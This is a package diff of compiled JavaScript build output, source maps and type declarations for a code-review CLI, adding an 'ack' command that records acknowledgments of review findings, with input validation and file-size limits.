{"version":3,"file":"cli.js","sourceRoot":"","sources":["../src/cli.ts"],"names":[],"mappings":"AAAA,OAAO,KAAK,MAAM,OAAO,CAAA;AACzB,OAAO,EAAE,aAAa,EAAE,MAAM,sBAAsB,CAAA;AACpD,OAAO,EAAE,aAAa,EAAE,MAAM,sBAAsB,CAAA;AACpD,OAAO,EAAE,cAAc,EAAE,MAAM,uBAAuB,CAAA;AACtD,OAAO,EAAE,aAAa,EAAE,MAAM,sBAAsB,CAAA;AACpD,OAAO,EAAE,WAAW,EAAE,MAAM,oBAAoB,CAAA;AAChD,OAAO,EAAE,gBAAgB,EAAE,MAAM,yBAAyB,CAAA;
|
|
1
|
+
{"version":3,"file":"cli.js","sourceRoot":"","sources":["../src/cli.ts"],"names":[],"mappings":"AAAA,OAAO,KAAK,MAAM,OAAO,CAAA;AACzB,OAAO,EAAE,aAAa,EAAE,MAAM,sBAAsB,CAAA;AACpD,OAAO,EAAE,aAAa,EAAE,MAAM,sBAAsB,CAAA;AACpD,OAAO,EAAE,cAAc,EAAE,MAAM,uBAAuB,CAAA;AACtD,OAAO,EAAE,aAAa,EAAE,MAAM,sBAAsB,CAAA;AACpD,OAAO,EAAE,WAAW,EAAE,MAAM,oBAAoB,CAAA;AAChD,OAAO,EAAE,gBAAgB,EAAE,MAAM,yBAAyB,CAAA;AAC1D,OAAO,EAAE,eAAe,EAAE,MAAM,wBAAwB,CAAA;AACxD,OAAO,EAAE,UAAU,EAAE,MAAM,mBAAmB,CAAA;AAE9C,MAAM,CAAC,KAAK,UAAU,MAAM,CAAC,IAAc;IACzC,MAAM,KAAK,CAAC,IAAI,CAAC;SACd,UAAU,CAAC,KAAK,CAAC;SACjB,KAAK,CAAC,wBAAwB,CAAC;SAC/B,OAAO,CAAC,aAAa,CAAC;SACtB,OAAO,CAAC,aAAa,CAAC;SACtB,OAAO,CAAC,cAAc,CAAC;SACvB,OAAO,CAAC,aAAa,CAAC;SACtB,OAAO,CAAC,WAAW,CAAC;SACpB,OAAO,CAAC,gBAAgB,CAAC;SACzB,OAAO,CAAC,eAAe,CAAC;SACxB,OAAO,CAAC,UAAU,CAAC;SACnB,aAAa,CAAC,CAAC,EAAE,0BAA0B,CAAC;SAC5C,MAAM,EAAE;SACR,IAAI,EAAE;SACN,IAAI,CAAA;AACT,CAAC"}
|
|
@@ -0,0 +1,11 @@
|
|
|
1
|
+
import type { CommandModule } from 'yargs';
|
|
2
|
+
interface AckArgs {
|
|
3
|
+
action: string;
|
|
4
|
+
'finding-key'?: string;
|
|
5
|
+
job?: string;
|
|
6
|
+
reason?: string;
|
|
7
|
+
scope?: string;
|
|
8
|
+
}
|
|
9
|
+
export declare const ackCommand: CommandModule<object, AckArgs>;
|
|
10
|
+
export {};
|
|
11
|
+
//# sourceMappingURL=ack.d.ts.map
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
{"version":3,"file":"ack.d.ts","sourceRoot":"","sources":["../../src/commands/ack.ts"],"names":[],"mappings":"AAAA,OAAO,KAAK,EAAE,aAAa,EAAsB,MAAM,OAAO,CAAA;AAY9D,UAAU,OAAO;IACf,MAAM,EAAE,MAAM,CAAA;IACd,aAAa,CAAC,EAAE,MAAM,CAAA;IACtB,GAAG,CAAC,EAAE,MAAM,CAAA;IACZ,MAAM,CAAC,EAAE,MAAM,CAAA;IACf,KAAK,CAAC,EAAE,MAAM,CAAA;CACf;AA2CD,eAAO,MAAM,UAAU,EAAE,aAAa,CAAC,MAAM,EAAE,OAAO,CAqFrD,CAAA"}
|
|
@@ -0,0 +1,123 @@
|
|
|
1
|
+
import fs from 'node:fs';
|
|
2
|
+
import path from 'node:path';
|
|
3
|
+
import { AckStore, FINDING_KEY_RE } from '../core/ack-store.js';
|
|
4
|
+
import { JobStore } from '../core/job-store.js';
|
|
5
|
+
import { normalizeLocationForKey } from '../core/stable-id.js';
|
|
6
|
+
import { findProjectRoot } from '../core/project-root.js';
|
|
7
|
+
import { resolveJobsDir, resolveSessionRoot } from './sessions.js';
|
|
8
|
+
const JOB_ID_RE = /^mmr-[a-f0-9]{12}$/;
|
|
9
|
+
// Generous upper bound on a results.json read. This is trusted MMR-written
|
|
10
|
+
// state under the user's MMR root, but cap it well above any realistic file
|
|
11
|
+
// so a pathological size can't be slurped whole into memory.
|
|
12
|
+
const MAX_RESULTS_BYTES = 16 * 1024 * 1024;
|
|
13
|
+
function loadResults(store, jobId) {
|
|
14
|
+
const fp = path.join(store.getJobDir(jobId), 'results.json');
|
|
15
|
+
try {
|
|
16
|
+
if (fs.statSync(fp).size > MAX_RESULTS_BYTES)
|
|
17
|
+
return undefined;
|
|
18
|
+
return JSON.parse(fs.readFileSync(fp, 'utf-8'));
|
|
19
|
+
}
|
|
20
|
+
catch {
|
|
21
|
+
return undefined; // missing, oversized, or malformed → no source finding here
|
|
22
|
+
}
|
|
23
|
+
}
|
|
24
|
+
/** Search for a reconciled finding matching the given key across recent jobs (newest first). */
|
|
25
|
+
function findSourceFinding(store, key, jobHint) {
|
|
26
|
+
const sources = jobHint ? [jobHint] : store.listJobs().map((j) => j.job_id);
|
|
27
|
+
for (const jobId of sources) {
|
|
28
|
+
const r = loadResults(store, jobId);
|
|
29
|
+
// Guard against a malformed results.json whose reconciled_findings is
|
|
30
|
+
// missing or not an array (would otherwise throw in the for-of below).
|
|
31
|
+
if (!r || !Array.isArray(r.reconciled_findings))
|
|
32
|
+
continue;
|
|
33
|
+
for (const f of r.reconciled_findings) {
|
|
34
|
+
// Require a string location too: normalizeLocationForKey would throw on a
|
|
35
|
+
// missing/undefined location in a malformed record.
|
|
36
|
+
if (f.finding_key === key && typeof f.location === 'string' && f.description_shingle) {
|
|
37
|
+
return {
|
|
38
|
+
normalized_location: normalizeLocationForKey(f.location),
|
|
39
|
+
description_shingle: f.description_shingle,
|
|
40
|
+
};
|
|
41
|
+
}
|
|
42
|
+
}
|
|
43
|
+
}
|
|
44
|
+
return undefined;
|
|
45
|
+
}
|
|
46
|
+
export const ackCommand = {
|
|
47
|
+
command: 'ack <action> [finding-key]',
|
|
48
|
+
describe: 'Manage finding acknowledgments (T2-D)',
|
|
49
|
+
builder: (yargs) => yargs
|
|
50
|
+
.positional('action', {
|
|
51
|
+
type: 'string',
|
|
52
|
+
choices: ['add', 'list', 'rm', 'prune'],
|
|
53
|
+
demandOption: true,
|
|
54
|
+
})
|
|
55
|
+
.positional('finding-key', { type: 'string' })
|
|
56
|
+
.option('job', { type: 'string', describe: 'Job id to look up the source finding from' })
|
|
57
|
+
.option('reason', { type: 'string', describe: 'Why this finding is being acked' })
|
|
58
|
+
.option('scope', {
|
|
59
|
+
type: 'string',
|
|
60
|
+
choices: ['project', 'user'],
|
|
61
|
+
default: 'project',
|
|
62
|
+
describe: 'Scope of the ack (project=./.mmr/acks, user=~/.mmr/acks)',
|
|
63
|
+
}),
|
|
64
|
+
handler: (args) => {
|
|
65
|
+
// The ack CLI is operator-driven on a trusted machine, so it manages both
|
|
66
|
+
// project and user scopes directly (unlike the review gate, which gates
|
|
67
|
+
// project acks behind trust). Scope selection is explicit via --scope.
|
|
68
|
+
// Project root is discovered from cwd (works from a subdirectory); user
|
|
69
|
+
// acks live under the MMR state root (resolveSessionRoot(), MMR_HOME-aware).
|
|
70
|
+
const ackStore = new AckStore({ projectRoot: findProjectRoot(), userRoot: resolveSessionRoot() });
|
|
71
|
+
if (args.action === 'list') {
|
|
72
|
+
console.log(JSON.stringify(ackStore.listAll(), null, 2));
|
|
73
|
+
return;
|
|
74
|
+
}
|
|
75
|
+
if (args.action === 'prune') {
|
|
76
|
+
// Prune is a no-op for v3.30 unless we add a stale-marker; emit a stub.
|
|
77
|
+
console.log(JSON.stringify({ pruned: 0, note: 'prune is a no-op until stale-marker support lands' }, null, 2));
|
|
78
|
+
return;
|
|
79
|
+
}
|
|
80
|
+
const key = args['finding-key'];
|
|
81
|
+
if (!key) {
|
|
82
|
+
console.error(`mmr ack ${args.action}: <finding-key> required`);
|
|
83
|
+
process.exit(1);
|
|
84
|
+
}
|
|
85
|
+
if (!FINDING_KEY_RE.test(key)) {
|
|
86
|
+
console.error(`Invalid finding_key: ${key} — must match ^[a-f0-9]{40}$`);
|
|
87
|
+
process.exit(1);
|
|
88
|
+
}
|
|
89
|
+
const scope = (args.scope ?? 'project');
|
|
90
|
+
if (args.action === 'rm') {
|
|
91
|
+
ackStore.remove(key, scope);
|
|
92
|
+
console.log(JSON.stringify({ removed: key, scope }, null, 2));
|
|
93
|
+
return;
|
|
94
|
+
}
|
|
95
|
+
// Validate the optional --job hint before any path construction, mirroring
|
|
96
|
+
// the finding_key check (getJobDir also guards against escape, but reject
|
|
97
|
+
// early here for a clear operator error).
|
|
98
|
+
if (args.job !== undefined && !JOB_ID_RE.test(args.job)) {
|
|
99
|
+
console.error(`Invalid job id: ${args.job} — must match ^mmr-[a-f0-9]{12}$`);
|
|
100
|
+
process.exit(1);
|
|
101
|
+
}
|
|
102
|
+
// add: need a source finding to capture location + shingle. Jobs live under
|
|
103
|
+
// the MMR root (honors MMR_HOME), same as where review writes them.
|
|
104
|
+
const jobStore = new JobStore(resolveJobsDir());
|
|
105
|
+
const src = findSourceFinding(jobStore, key, args.job);
|
|
106
|
+
if (!src) {
|
|
107
|
+
const where = args.job ? ` (job=${args.job})` : '';
|
|
108
|
+
console.error(`No reconciled finding with key ${key} found in recent jobs${where}.`);
|
|
109
|
+
console.error('Tip: pass --job <id> if you know which job surfaced this finding.');
|
|
110
|
+
process.exit(1);
|
|
111
|
+
}
|
|
112
|
+
const record = {
|
|
113
|
+
finding_key: key,
|
|
114
|
+
normalized_location: src.normalized_location,
|
|
115
|
+
description_shingle: src.description_shingle,
|
|
116
|
+
...(args.reason !== undefined ? { reason: args.reason } : {}),
|
|
117
|
+
created_at: new Date().toISOString(),
|
|
118
|
+
};
|
|
119
|
+
ackStore.add(record, scope);
|
|
120
|
+
console.log(JSON.stringify({ added: key, scope }, null, 2));
|
|
121
|
+
},
|
|
122
|
+
};
|
|
123
|
+
//# sourceMappingURL=ack.js.map
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
{"version":3,"file":"ack.js","sourceRoot":"","sources":["../../src/commands/ack.ts"],"names":[],"mappings":"AACA,OAAO,EAAE,MAAM,SAAS,CAAA;AACxB,OAAO,IAAI,MAAM,WAAW,CAAA;AAC5B,OAAO,EAAE,QAAQ,EAAE,cAAc,EAAiC,MAAM,sBAAsB,CAAA;AAC9F,OAAO,EAAE,QAAQ,EAAE,MAAM,sBAAsB,CAAA;AAC/C,OAAO,EAAE,uBAAuB,EAAE,MAAM,sBAAsB,CAAA;AAC9D,OAAO,EAAE,eAAe,EAAE,MAAM,yBAAyB,CAAA;AACzD,OAAO,EAAE,cAAc,EAAE,kBAAkB,EAAE,MAAM,eAAe,CAAA;AAGlE,MAAM,SAAS,GAAG,oBAAoB,CAAA;AAUtC,2EAA2E;AAC3E,4EAA4E;AAC5E,6DAA6D;AAC7D,MAAM,iBAAiB,GAAG,EAAE,GAAG,IAAI,GAAG,IAAI,CAAA;AAE1C,SAAS,WAAW,CAAC,KAAe,EAAE,KAAa;IACjD,MAAM,EAAE,GAAG,IAAI,CAAC,IAAI,CAAC,KAAK,CAAC,SAAS,CAAC,KAAK,CAAC,EAAE,cAAc,CAAC,CAAA;IAC5D,IAAI,CAAC;QACH,IAAI,EAAE,CAAC,QAAQ,CAAC,EAAE,CAAC,CAAC,IAAI,GAAG,iBAAiB;YAAE,OAAO,SAAS,CAAA;QAC9D,OAAO,IAAI,CAAC,KAAK,CAAC,EAAE,CAAC,YAAY,CAAC,EAAE,EAAE,OAAO,CAAC,CAAsB,CAAA;IACtE,CAAC;IAAC,MAAM,CAAC;QACP,OAAO,SAAS,CAAA,CAAC,4DAA4D;IAC/E,CAAC;AACH,CAAC;AAED,gGAAgG;AAChG,SAAS,iBAAiB,CACxB,KAAe,EACf,GAAW,EACX,OAAgB;IAEhB,MAAM,OAAO,GAAG,OAAO,CAAC,CAAC,CAAC,CAAC,OAAO,CAAC,CAAC,CAAC,CAAC,KAAK,CAAC,QAAQ,EAAE,CAAC,GAAG,CAAC,CAAC,CAAC,EAAE,EAAE,CAAC,CAAC,CAAC,MAAM,CAAC,CAAA;IAC3E,KAAK,MAAM,KAAK,IAAI,OAAO,EAAE,CAAC;QAC5B,MAAM,CAAC,GAAG,WAAW,CAAC,KAAK,EAAE,KAAK,CAAC,CAAA;QACnC,sEAAsE;QACtE,uEAAuE;QACvE,IAAI,CAAC,CAAC,IAAI,CAAC,KAAK,CAAC,OAAO,CAAC,CAAC,CAAC,mBAAmB,CAAC;YAAE,SAAQ;QACzD,KAAK,MAAM,CAAC,IAAI,CAAC,CAAC,mBAA0C,EAAE,CAAC;YAC7D,0EAA0E;YAC1E,oDAAoD;YACpD,IAAI,CAAC,CAAC,WAAW,KAAK,GAAG,IAAI,OAAO,CAAC,CAAC,QAAQ,KAAK,QAAQ,IAAI,CAAC,CAAC,mBAAmB,EAAE,CAAC;gBACrF,OAAO;oBACL,mBAAmB,EAAE,uBAAuB,CAAC,CAAC,CAAC,QAAQ,CAAC;oBACxD,mBAAmB,EAAE,CAAC,CAAC,mBAAmB;iBAC3C,CAAA;YACH,CAAC;QACH,CAAC;IACH,CAAC;IACD,OAAO,SAAS,CAAA;AAClB,CAAC;AAED,MAAM,CAAC,MAAM,UAAU,GAAmC;IACxD,OAAO,EAAE,4BAA4B;IACrC,QAAQ,EAAE,uCAAuC;IACjD,OAAO,EAAE,CAAC,KAAK,EAAE,EAAE,CACjB,KAAK;SACF,UAAU,CAAC,QAAQ,EAAE;QACpB,IAAI,EAAE,QAAQ;QACd,OAAO,EAAE,CAAC,KAAK,EAAE,MAAM,EAAE,IAAI,EAAE,OAAO,CAAU;QAChD,YAAY,EAAE,IAAI;KACnB,CAAC;SACD,UAAU,CAAC,aAAa,EAAE,EAAE,IAAI,EAAE,QAAQ,EAAE,CAAC;SAC7C,MAAM,CAAC,KAAK,EAAE,EAAE,IAAI,EAAE,QAAQ,EAAE,QAAQ,EAAE,2CAA2C,EAAE,CAAC;SACxF,MAAM,CAAC,QAAQ,EAAE,EAAE,IAAI,EAAE,QAAQ,EAAE,QAAQ,EAAE,iCAAiC,EAAE,CAAC;SACjF,MAAM,CAAC,OAAO,EAAE;QACf,IAAI,EAAE,QAAQ;QACd,OAAO,EAAE,CAAC,SAAS,EAAE,MAAM,CAAU;QACrC,OAAO,EAAE,SAAS;QAClB,QAAQ,EAAE,0DAA0D;KACrE,CAAC;IACN,OAAO,EAAE,CAAC,IAAiC,EAAE,EAAE;QAC7C,0EAA0E;QAC1E,wEAAwE;QACxE,uEAAuE;QACvE,wEAAwE;QACxE,6EAA6E;QAC7E,MAAM,QAAQ,GAAG,IAAI,QAAQ,CAAC,EAAE,WAAW,EAAE,eAAe,EAAE,EAAE,QAAQ,EAAE,kBAAkB,EAAE,EAAE,CAAC,CAAA;QAEjG,IAAI,IAAI,CAAC,MAAM,KAAK,MAAM,EAAE,CAAC;YAC3B,OAAO,CAAC,GAAG,CAAC,IAAI,CAAC,SAAS,CAAC,QAAQ,CAAC,OAAO,EAAE,EAAE,IAAI,EAAE,CAAC,CAAC,CAAC,CAAA;YACxD,OAAM;QACR,CAAC;QAED,IAAI,IAAI,CAAC,MAAM,KAAK,OAAO,EAAE,CAAC;YAC5B,wEAAwE;YACxE,OAAO,CAAC,GAAG,CAAC,IAAI,CAAC,SAAS,CAAC,EAAE,MAAM,EAAE,CAAC,EAAE,IAAI,EAAE,mDAAmD,EAAE,EAAE,IAAI,EAAE,CAAC,CAAC,CAAC,CAAA;YAC9G,OAAM;QACR,CAAC;QAED,MAAM,GAAG,GAAG,IAAI,CAAC,aAAa,CAAC,CAAA;QAC/B,IAAI,CAAC,GAAG,EAAE,CAAC;YACT,OAAO,CAAC,KAAK,CAAC,WAAW,IAAI,CAAC,MAAM,0BAA0B,CAAC,CAAA;YAC/D,OAAO,CAAC,IAAI,CAAC,CAAC,CAAC,CAAA;QACjB,CAAC;QACD,IAAI,CAAC,cAAc,CAAC,IAAI,CAAC,GAAG,CAAC,EAAE,CAAC;YAC9B,OAAO,CAAC,KAAK,CAAC,wBAAwB,GAAG,8BAA8B,CAAC,CAAA;YACxE,OAAO,CAAC,IAAI,CAAC,CAAC,CAAC,CAAA;QACjB,CAAC;QAED,MAAM,KAAK,GAAG,CAAC,IAAI,CAAC,KAAK,IAAI,SAAS,CAAa,CAAA;QAEnD,IAAI,IAAI,CAAC,MAAM,KAAK,IAAI,EAAE,CAAC;YACzB,QAAQ,CAAC,MAAM,CAAC,GAAG,EAAE,KAAK,CAAC,CAAA;YAC3B,OAAO,CAAC,GAAG,CAAC,IAAI,CAAC,SAAS,CAAC,EAAE,OAAO,EAAE,GAAG,EAAE,KAAK,EAAE,EAAE,IAAI,EAAE,CAAC,CAAC,CAAC,CAAA;YAC7D,OAAM;QACR,CAAC;QAED,2EAA2E;QAC3E,0EAA0E;QAC1E,0CAA0C;QAC1C,IAAI,IAAI,CAAC,GAAG,KAAK,SAAS,IAAI,CAAC,SAAS,CAAC,IAAI,CAAC,IAAI,CAAC,GAAG,CAAC,EAAE,CAAC;YACxD,OAAO,CAAC,KAAK,CAAC,mBAAmB,IAAI,CAAC,GAAG,kCAAkC,CAAC,CAAA;YAC5E,OAAO,CAAC,IAAI,CAAC,CAAC,CAAC,CAAA;QACjB,CAAC;QAED,4EAA4E;QAC5E,oEAAoE;QACpE,MAAM,QAAQ,GAAG,IAAI,QAAQ,CAAC,cAAc,EAAE,CAAC,CAAA;QAC/C,MAAM,GAAG,GAAG,iBAAiB,CAAC,QAAQ,EAAE,GAAG,EAAE,IAAI,CAAC,GAAG,CAAC,CAAA;QACtD,IAAI,CAAC,GAAG,EAAE,CAAC;YACT,MAAM,KAAK,GAAG,IAAI,CAAC,GAAG,CAAC,CAAC,CAAC,SAAS,IAAI,CAAC,GAAG,GAAG,CAAC,CAAC,CAAC,EAAE,CAAA;YAClD,OAAO,CAAC,KAAK,CAAC,kCAAkC,GAAG,wBAAwB,KAAK,GAAG,CAAC,CAAA;YACpF,OAAO,CAAC,KAAK,CAAC,mEAAmE,CAAC,CAAA;YAClF,OAAO,CAAC,IAAI,CAAC,CAAC,CAAC,CAAA;QACjB,CAAC;QAED,MAAM,MAAM,GAAc;YACxB,WAAW,EAAE,GAAG;YAChB,mBAAmB,EAAE,GAAG,CAAC,mBAAmB;YAC5C,mBAAmB,EAAE,GAAG,CAAC,mBAAmB;YAC5C,GAAG,CAAC,IAAI,CAAC,MAAM,KAAK,SAAS,CAAC,CAAC,CAAC,EAAE,MAAM,EAAE,IAAI,CAAC,MAAM,EAAE,CAAC,CAAC,CAAC,EAAE,CAAC;YAC7D,UAAU,EAAE,IAAI,IAAI,EAAE,CAAC,WAAW,EAAE;SACrC,CAAA;QACD,QAAQ,CAAC,GAAG,CAAC,MAAM,EAAE,KAAK,CAAC,CAAA;QAC3B,OAAO,CAAC,GAAG,CAAC,IAAI,CAAC,SAAS,CAAC,EAAE,KAAK,EAAE,GAAG,EAAE,KAAK,EAAE,EAAE,IAAI,EAAE,CAAC,CAAC,CAAC,CAAA;IAC7D,CAAC;CACF,CAAA"}
|
|
@@ -1,6 +1,11 @@
|
|
|
1
1
|
import type { CommandModule } from 'yargs';
|
|
2
2
|
interface ConfigArgs {
|
|
3
3
|
action: string;
|
|
4
|
+
name?: string;
|
|
5
|
+
target?: string;
|
|
6
|
+
'with-examples'?: boolean;
|
|
7
|
+
'no-redact'?: boolean;
|
|
8
|
+
redact?: boolean;
|
|
4
9
|
}
|
|
5
10
|
export declare const configCommand: CommandModule<object, ConfigArgs>;
|
|
6
11
|
export {};
|
|
@@ -1 +1 @@
|
|
|
1
|
-
{"version":3,"file":"config.d.ts","sourceRoot":"","sources":["../../src/commands/config.ts"],"names":[],"mappings":"AAAA,OAAO,KAAK,EAAE,aAAa,EAAsB,MAAM,OAAO,CAAA;
|
|
1
|
+
{"version":3,"file":"config.d.ts","sourceRoot":"","sources":["../../src/commands/config.ts"],"names":[],"mappings":"AAAA,OAAO,KAAK,EAAE,aAAa,EAAsB,MAAM,OAAO,CAAA;AAgB9D,UAAU,UAAU;IAClB,MAAM,EAAE,MAAM,CAAA;IACd,IAAI,CAAC,EAAE,MAAM,CAAA;IACb,MAAM,CAAC,EAAE,MAAM,CAAA;IACf,eAAe,CAAC,EAAE,OAAO,CAAA;IACzB,WAAW,CAAC,EAAE,OAAO,CAAA;IACrB,MAAM,CAAC,EAAE,OAAO,CAAA;CACjB;AA+SD,eAAO,MAAM,aAAa,EAAE,aAAa,CAAC,MAAM,EAAE,UAAU,CA2D3D,CAAA"}
|